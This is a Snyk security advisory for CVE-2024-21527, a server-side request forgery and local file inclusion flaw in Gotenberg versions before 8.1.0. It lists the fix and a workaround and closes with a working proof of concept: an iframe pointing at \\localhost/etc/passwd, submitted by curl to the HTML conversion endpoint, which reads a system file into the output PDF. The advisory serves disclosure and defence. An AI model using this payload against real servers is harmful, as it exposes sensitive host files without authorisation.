Server-side Request Forgery (SSRF) Affecting github.com/gotenberg/gotenberg/v8/pkg/modules/webhook package, versions <8.1.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-GOLANG-GITHUBCOMGOTENBERGGOTENBERGV8PKGMODULESWEBHOOK-7537083
- published18 Jul 2024
- disclosed22 Feb 2024
- creditFilip Ochnik
Introduced: 22 Feb 2024
CVE-2024-21527 (opens in a new tab)How to fix?
Upgrade github.com/gotenberg/gotenberg/v8/pkg/modules/webhook to version 8.1.0 or higher.
Overview
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the /convert/html endpoint when a request is made to a file via localhost, such as <iframe src="\\localhost/etc/passwd">. By exploiting this vulnerability, an attacker can achieve local file inclusion, allowing of sensitive files read on the host system.
Workaround
An alternative is using either or both --chromium-deny-list and --chromium-allow-list flags.
PoC
- Start Gotenberg:
docker run --rm -p 3000:3000 gotenberg/gotenberg:8.0.3 gotenberg
- Create an index.html file with the following contents:
<body>
<iframe src="\\localhost/etc/passwd">
</body>
- Convert index.html to PDF:
curl -v \
--request POST 'http://localhost:3000/forms/chromium/convert/html' \
--form 'files=@"index.html"' -o output.pdf
- Open
output.pdf, it will include the contents of/etc/passwd.